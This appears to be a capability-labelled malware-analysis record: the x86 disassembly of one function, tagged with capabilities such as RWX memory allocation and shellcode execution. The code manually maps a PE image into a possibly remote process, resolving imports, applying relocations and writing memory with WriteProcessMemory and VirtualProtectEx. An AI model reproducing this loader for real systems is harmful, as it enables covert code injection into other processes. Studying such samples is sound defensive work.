Function at 0x1000d630
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
sub esp, 0x48
mov eax, dword [esp + 0x54]
push ebx
mov ebx, dword [esp + 0x54]
push ebp
push esi
mov esi, dword [ebx + 0x3c]
add esi, ebx
test eax, eax
push edi
mov dword [esp + 0x10], esi
jne 0x1000d688
mov eax, dword [esi + 0x50]
mov ecx, dword [esi + 0x34]
mov edi, dword [esp + 0x5c]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x2000
push eax
push ecx
push edi
call ebp
test eax, eax
push 0x40
je 0x1000d67a
mov edx, dword [esi + 0x50]
push 0x1000
push edx
push eax
jmp 0x1000d685
mov eax, dword [esi + 0x50]
push 0x101000
push eax
push 0
push edi
call ebp
mov dword [esp + 0x64], eax
mov eax, dword [esi + 0x50]
xor edi, edi
test eax, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], edi
jbe 0x1000d6ac
push eax
call fcn.10002e89
add esp, 4
mov dword [esp + 0x28], eax
mov edi, eax
mov ecx, dword [esi + 0x54]
push ecx
push ebx
push edi
call fcn.1000ce10
movzx edx, word [esi + 0x14]
mov ebp, dword [esp + 0x1c]
xor ebx, ebx
add esp, 0xc
cmp word [ebp + 6], bx
lea esi, [esi + edx + 0x18]
mov dword [esp + 0x24], esi
jbe 0x1000d723
add esi, 0x10
mov edi, dword [esi - 4]
mov ebp, dword [esi - 8]
add edi, dword [esp + 0x28]
mov eax, dword [esi]
push ebp
push edi
mov dword [esp + 0x20], eax
call fcn.1000cdf0
mov eax, dword [esp + 0x20]
add esp, 8
cmp ebp, eax
jl 0x1000d6f9
mov ebp, eax
mov ecx, dword [esi + 4]
add ecx, dword [esp + 0x60]
push ebp
push ecx
push edi
call fcn.1000ce10
mov edx, dword [esp + 0x1c]
movzx eax, word [edx + 6]
add ebx, 1
add esp, 0xc
add esi, 0x28
cmp ebx, eax
jl 0x1000d6d5
mov edi, dword [esp + 0x28]
mov ebp, edx
mov esi, dword [ebp + 0x80]
add esi, edi
cmp dword [esp + 0x68], 0
mov dword [esp + 0x18], esi
je 0x1000d886
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1000d886
add eax, edi
push eax
mov dword [esp + 0x6c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [esi + 0x10]
mov ebx, eax
mov eax, dword [esi]
add ebp, edi
test eax, eax
jne 0x1000d765
mov dword [esp + 0x60], ebp
jmp 0x1000d76b
add eax, edi
mov dword [esp + 0x60], eax
mov ecx, dword [esp + 0x60]
mov eax, dword [ecx]
test eax, eax
je 0x1000d870
jns 0x1000d7aa
cmp dword [esp + 0x70], 0
je 0x1000d797
movzx edx, ax
push edx
push ebx
call fcn.1000d150
add esp, 8
mov dword [ebp], eax
jmp 0x1000d858
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp], eax
jmp 0x1000d858
cmp dword [esp + 0x70], 0
lea esi, [edi + eax + 2]
push esi
push ebx
je 0x1000d7c1
call fcn.1000d150
add esp, 8
jmp 0x1000d7c7
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp], eax
cmp dword [0x1005c4bc], 0
je 0x1000d854
push 0x10020c58
push eax
lea ecx, [esp + 0x38]
call fcn.10007d10
mov ecx, dword [esp + 0x6c]
push eax
push 0x100213f0
push esi
push 0x100213ec
push ecx
push 0x100213d8
lea ecx, [esp + 0x38]
call fcn.1000f610
mov ecx, eax
call fcn.1000f930
mov ecx, eax
call fcn.1000f930
mov ecx, eax
call fcn.1000f930
mov ecx, eax
call fcn.1000f930
mov ecx, eax
call fcn.1000f930
mov ecx, eax
call fcn.1000fb80
mov ecx, eax
call fcn.1000f930
lea ecx, [esp + 0x1c]
call fcn.1000f640
mov edx, dword [esp + 0x34]
push edx
call fcn.10002e75
add esp, 4
mov dword [esp + 0x34], 0
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x60]
add eax, 4
mov dword [esp + 0x60], eax
mov eax, dword [eax]
add ebp, 4
test eax, eax
jne 0x1000d779
mov eax, dword [esi + 0x20]
add esi, 0x14
test eax, eax
mov dword [esp + 0x18], esi
jne 0x1000d745
mov ebp, dword [esp + 0x10]
cmp dword [esp + 0x6c], 0
je 0x1000d8fd
mov ebx, dword [esp + 0x64]
mov ecx, dword [ebp + 0xa0]
sub ebx, dword [ebp + 0x34]
mov eax, dword [ebp + 0xa4]
add ecx, edi
mov dword [esp + 0x68], eax
mov dword [esp + 0x60], ecx
je 0x1000d8fd
test eax, eax
mov esi, ecx
jle 0x1000d8f9
mov eax, dword [esi + 4]
sub eax, 8
shr eax, 1
test eax, eax
lea edx, [esi + 8]
jle 0x1000d8ef
mov ebp, eax
movzx eax, word [edx]
movzx eax, ax
mov ecx, eax
shr ecx, 0xc
cmp ecx, 3
je 0x1000d8d8
cmp ecx, 0xa
jne 0x1000d8e3
and eax, 0xfff
add eax, dword [esi]
add eax, edi
add dword [eax], ebx
add edx, 2
sub ebp, 1
jne 0x1000d8c3
mov ecx, dword [esp + 0x60]
mov esi, edx
sub edx, ecx
cmp edx, dword [esp + 0x68]
jl 0x1000d8b2
mov ebp, dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [esp + 0x5c]
cmp eax, esi
mov eax, dword [esp + 0x14]
jne 0x1000d928
mov ebx, dword [esp + 0x64]
push eax
push edi
push ebx
call fcn.1000ce10
mov ecx, dword [esp + 0x20]
add esp, 0xc
mov dword [esp + 0x20], ecx
jmp 0x1000d93f
mov ecx, dword [esp + 0x64]
lea edx, [esp + 0x20]
push edx
push eax
push edi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [esp + 0x64]
cmp word [ebp + 6], 0
mov dword [esp + 0x60], 0
jbe 0x1000da2f
mov edi, dword [esp + 0x24]
add edi, 0x24
lea esp, [esp]
mov eax, dword [edi]
mov esi, dword [edi - 0x18]
add esi, dword [esp + 0x64]
mov ebp, dword [edi - 0x1c]
mov edx, eax
shr edx, 0x1d
mov ecx, eax
shr ecx, 0x1e
and ecx, 1
and edx, 1
lea edx, [ecx + edx*2]
mov ecx, eax
shr ecx, 0x1f
test eax, 0x4000000
lea edx, [ecx + edx*2]
mov dword [esp + 0x38], 1
mov dword [esp + 0x3c], 8
mov dword [esp + 0x40], 2
mov dword [esp + 0x44], 4
mov dword [esp + 0x48], 0x10
mov dword [esp + 0x4c], 0x80
mov dword [esp + 0x50], 0x20
mov dword [esp + 0x54], 0x40
mov ebx, dword [esp + edx*4 + 0x38]
je 0x1000d9d8
or ebx, 0x200
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [esp + 0x5c]
cmp eax, ecx
jne 0x1000d9f6
lea eax, [esp + 0x68]
push eax
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000da05
lea edx, [esp + 0x68]
push edx
push ebx
push ebp
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x60]
movzx edx, word [ecx + 6]
add eax, 1
add edi, 0x28
cmp eax, edx
mov dword [esp + 0x60], eax
jl 0x1000d960
mov edi, dword [esp + 0x28]
mov esi, dword [esp + 0x5c]
mov ebx, dword [esp + 0x64]
mov eax, dword [esp + 0x14]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test edi, edi
je 0x1000da49
push edi
call fcn.10002e75
add esp, 4
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x48
ret